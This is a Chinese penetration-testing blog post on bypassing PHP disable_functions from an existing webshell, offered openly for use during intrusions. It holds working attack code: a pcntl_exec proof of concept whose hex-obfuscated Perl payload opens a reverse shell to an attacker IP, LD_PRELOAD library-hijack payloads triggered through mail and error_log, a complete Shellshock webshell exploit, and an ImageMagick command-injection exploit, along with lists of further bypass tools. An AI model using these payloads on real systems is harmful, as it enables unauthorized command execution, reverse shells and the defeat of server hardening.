bypass php disable_functions
ssooking Lv5

前言

渗透过程中,当利用webshell执行命令时报错,蚁剑等工具返回ret=127,查看phpinfo信息发现存在disable_functions函数禁用项时,说明存在disable_functions,此时需要进行绕过。

disable_functions是php.ini配置文件中的一个黑名单配置项,运维人员或安全管理员出于安全考虑会禁用一些危险PHP函数,如命令执行函数等,导致渗透过程中Webshell无法执行这些命令。如:

1
disable_functions: passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等

常见危险函数功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
passthru():允许执行一个外部程序并回显输出,类似于exec()
exec():允许执行一个外部程序(如UNIX Shell或CMD命令等)
system():允许执行一个外部程序并回显输出,类似于passthru()。
chroot():可改变当前PHP进程的工作根目录,仅当系统支持CLI模式PHP时才工作,不适用于Windows
chgrp():改变文件或目录所属的用户组。
chown():改变文件或目录的所有者。
shell_exec():通过Shell执行命令,并将执行结果作为字符串返回。
proc_open():执行一个命令并打开文件指针用于读取以及写入。
proc_get_status():获取使用proc_open()所打开进程的信息。
ini_set():可用于修改、设置PHP环境配置参数。
ini_alter():ini_set()函数的一个别名函数,功能与ini_set()相同。具体参见ini_set()。
ini_restore():可用于恢复PHP环境配置参数到其初始值。
dl():在 PHP 进行运行过程当中(而非启动时)加载一个PHP外部模块。
pfsockopen():建立一个Internet或UNIX域的socket持久连接。
symlink():在UNIX系统中建立一个符号链接。
popen():可通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行。
putenv():在PHP运行时改变系统字符集环境。低于5.2.6版本的PHP中可配合利用sendmail指令发送特殊参数执行命令。
phpinfo():输出 PHP 环境信息以及相关的模块、WEB环境等信息。
scandir():列出指定路径中的文件和目录。
syslog():可调用 UNIX 系统的系统层 syslog()函数。
readlink():返回符号连接指向的目标文件内容
stream_socket_server():建立一个Internet或UNIX服务器连接
error_log():将错误信息发送到指定位置(文件)。在某些版本的PHP中,可使用error_log()绕过 PHP safe mode,
执行任意命令。

绕过disable_functions

常见绕过方法:

  • 使用未过滤的命令执行函数
    • exec,shell_exec,system,passthru,popen,proc_open,反单引号
  • 蚁剑bypass插件
  • 利用环境变量LD_PRELOAD绕过
  • 利用php漏洞实现命令执行
    • php7-gc-bypass(php 7.0-7.3):利用PHP garbage collector程序中的堆溢出漏洞触发执行命令
    • php-json-bypass(php 7.0-7.3):利用json序列化程序中的堆溢出漏洞触发执行命令。蚁剑插件实现。
  • 利用Apache+mod_cgi+.htaccess
  • 利用ImageMagick漏洞绕过
  • ShellShock漏洞绕过(CVE-2014-6271)
  • Windows COM组件绕过
  • Windows PHP拓展win32std绕过
  • 利用PHP7.4的FFI绕过
  • PHP-FPM
  • To add

使用未过滤的函数

如果常见命令执行函数未被全部过滤,存在遗漏,则可以使用未被过滤的函数去执行命令。查看php文档中中所有的程序执行函数,常见函数system、exec等被过滤,可以使用popen、pcntl_exec等函数。

常见函数: system()、exec()、shell_exec()、passthru()

其他函数:popen()、proc_open()、pcntl_exec()

pcntl是linux的一个php扩展,用于多进程操作,许多PHP的CMS框架都会使用这个拓展。该拓展支持在php中以pcntl_exec函数执行指定程序。如果运维人员安全意识不强,则可能忽略pcntl扩展的相关函数。下面是利用该函数执行的POC,要求PHP 4 >= 4.2.0, PHP 5 on linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php 
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/

$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';

header("content-Type: text/html; charset=gb2312");

if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>

蚁剑bypass插件

Webshell管理工具蚁剑的bypass插件已实现一些方式绕过disable_functions和open_basedir等安全限制,渗透时快速食用可提高效率。代码仓库地址,主要代码在 core/php_fpm/index.js 里。

利用LD_PRELOAD劫持系统函数

LD_PRELOAD是linux的一个环境变量,它可以定义程序运行前优先加载的动态链接库,其主要是用来有选择性的载入不同动态链接库中的相同函数。这个特性可以被恶意利用,攻击者可以劫持程序加载的动态链接库,执行其中的自定义恶意函数。关于LD_PRELOAD解析可以参考:Reverse Engineering with LD_PRELOAD

举例说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
char passwd[] = "123456";

if (argc < 2) {
printf("usage: %s <given-password>\n", argv[0]);
return 0;
}

if (!strcmp(passwd, argv[1])) {
printf("Right password!\n");
return 1;
}

printf("Wrong password!\n");
return 0;
}

这是一个简单的判断密码是否正确的程序例子,输入正确的密码123456则会提示正确,否则提示错误。

1
2
3
4
5
ssooking@pc:~/Test$ gcc test.c -o test
ssooking@pc:~/Test$ ./test 11111
Wrong password!
ssooking@pc:~/Test$ ./test 123456
Right password!

可以用ldd或readelf命令查看一下动态链接库依赖关系

1
2
3
4
5
$ ldd test
linux-vdso.so.1 => (0x00007ffe4dbfc000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4dd927a000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4dd9644000)
$ readelf -d test

通过readelf -Ws test可以查看程序可能调用的系统API函数,但这个命令结果仅代表可能被调用的API,不代表一定调用。通过strace -f + 执行程序可看到程序运行时实际的调用情况。

由于上面的代码调用了标准库里的strcmp()方法,我们可以重写strcmp()方法,攻击代码:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <string.h>

void payload(){
printf("Hijacked!\n");
}

int strcmp(const char *s1, const char *s2) {
payload();
return 0; //结果总返回相等
}

编译并加载动态链接库,观察加载前后的执行结果

1
2
3
4
5
6
7
8
ssooking@pc:~/Test$ gcc -fPIC -c hijack.c -o hijack.o
ssooking@pc:~/Test$ gcc -shared hijack.o -o hijack.so
ssooking@pc:~/Test$ ./test 111111
Wrong password!
ssooking@pc:~/Test$ export LD_PRELOAD=./hijack.so
ssooking@pc:~/Test$ ./test 111111
Hijacked!
Right password!

发现加载了恶意动态链接库中的strcmp函数,使返回结果总相等,并打印了测试payload。

在php中,可以使用putenv设置环境变量,同理,绕过disable_functions思路:

  1. 找到要劫持的目标函数(系统调用)
  2. 生成一个恶意动态链接库文件,重写该函数
  3. 利用putenv设置LD_PRELOAD,加载恶意动态链接库文件
  4. 配合php的某个函数去触发创建新进程,从而加载被劫持的函数,如:mail,imap_mail,error_log,mb_send_mail、__attribute__ ((__constructor__))、imagemagick+GhostScript
  5. 执行需要的命令

例1:以 php的mail函数为例,通过劫持getuid 函数启动新进程

限制:从 strace 命令的结果看mail 函数的使⽤依赖于系统中存在的 sendmail 命令

1
2
3
4
5
6
gcc -c -fPIC test.c -o hack && gcc --share hack -o hack.so

<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

实战中执行不同命令需要反复编译上传文件进行劫持怎么办?

解决方法是劫持的函数中,写入执行其他脚本或程序的命令,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("echo `python cmd.py` > result.txt");
}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

cmd.py

1
2
3
4
import subprocess

with open('cmd.txt') as fp:
print subprocess.call(fp.read(), shell=True)

这样只需要修改 cmd.txt就可以执行不同命令,而无需重新编译。

如何找到支持创建新进程的函数?

php基于C语言开发,linux也基于C语言开发,函数实现上有相同之处。我们可以追踪php自带的函数执行时的函数调用,找到可以启动新进程的函数,但启动的方式不能是exec,system,passthru等这种被过滤的。如原作者发现了php中的mail函数在运行时可以通过execve启用新进程:

1
strace -f php mail.php 2>&1 |grep -A2 -B2 execve

如:error_log函数也会调用execve创建新进程,

1
2
3
4
<?php
putenv("LD_PRELOAD=./test.so");
error_log("test",1,"","");
?>

优化

使用LD_PRELOAD劫持函数存在一些问题,如:

一、有些函数服务器不支持,如mail函数实际依赖的是sendmail,但是目标服务器未安装。

二、通过LD_PRELOAD劫持了启动进程的相关函数,如果劫持后启动的新进程同样调用该函数,那么如果不在新进程启动前取消LD_PRELOAD,则将陷入死循环。通常做法调用 unsetenv("LD_PRELOAD")删除环境变量。这在大部分linux上可行,但在centos上却无效,因为centos自己也hook 了unsetenv(),在其内部启动了其他进程,还没有删除LD_PRELOAD就又被劫持,导致无限循环。

基于这些问题,有师傅做了一个优化,项目地址。作者选择预加载实现__attribute__((constructor))构造函数的动态库文件,该函数会在main()之前执行,因此无需劫持某个函数即可执行我们的代码。

项目中有三个关键文件:

  • bypass_disablefunc.php
  • bypass_disablefunc_x64.so
  • bypass_disablefunc_x86.so

bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:

1
bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

一是cmd参数,待执行的系统命令;

二是outpath参数,保存命令执行输出的文件路径(如/tmp/xx),便于在页面上显示,另外该参数,你应注意web是否有读写权限、网络是否可跨目录访问、文件将被覆盖和删除系统等卫星;

三是sopath参数,指定劫持函数的共享对象的绝对路径(如/var/www/bypass_disablex64.so),另外,关于该参数,你应该注意网络是否可以跨目录访问它。

ShellShock漏洞绕过

利用ShellShock,即bash破壳漏洞(CVE-2014-6271)绕过。该漏洞存在于bash 1.14 – 4.3版本中,漏洞原因是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。该漏洞要求php < 5.6.2,分析文章可参考PHP Execute Command Bypass Disable_functions。POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

ImageMagick漏洞绕过

ImageMagick是一款使用广泛的图片处理程序,Discuz、Drupal、Wordpress等常用CMS中也调用了ImageMagick扩展或ImageMagick库进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入,该漏洞可用于绕过disable_functions,EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

PHP FPM绕过

php-fpm是一个fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成数据。PHP-FPM默认监听9000端口,我们可以自己构造fastcgi协议与fpm进行通信。参考文章:攻击PHP-FPM 实现Bypass Disable Functions

PHP FFI 绕过

PHP FFI (Foreign Function interface),是自PHP7.4开始提供的一个PHP拓展。该拓展让开发者可以方便的调用C语言写的各种库,实现了高级语言的相互调用。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可bypass disable_functions。

Windows COM组件绕过

Windows环境下,当php.ini的设置项com.allow_dcom=true时,可以通过COM组件执行系统命令,资料参考:PHP 5.x COM - Safe Mode / disable_functions Bypass

Windows PHP拓展win32std绕过

win32std是一个很老的PHP扩展,其中的win_shell_execute函数可以用来执行Windows系统命令,参考PHP 5.2.3 Win32std - ‘win_shell_execute’ Safe Mode / disable_functions Bypass

相关工具

https://github.com/verctor/BShell

https://github.com/teambi0s/dfunc-bypasser

https://github.com/obolu/Bypass_Disable_functions 搭建docker测试环境

参考

  • Post title:bypass php disable_functions
  • Post author:ssooking
  • Create time:2021-02-23 10:11:00
  • Post link:https://ssooking.github.io/2021/02/bypass-php-disable-functions/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.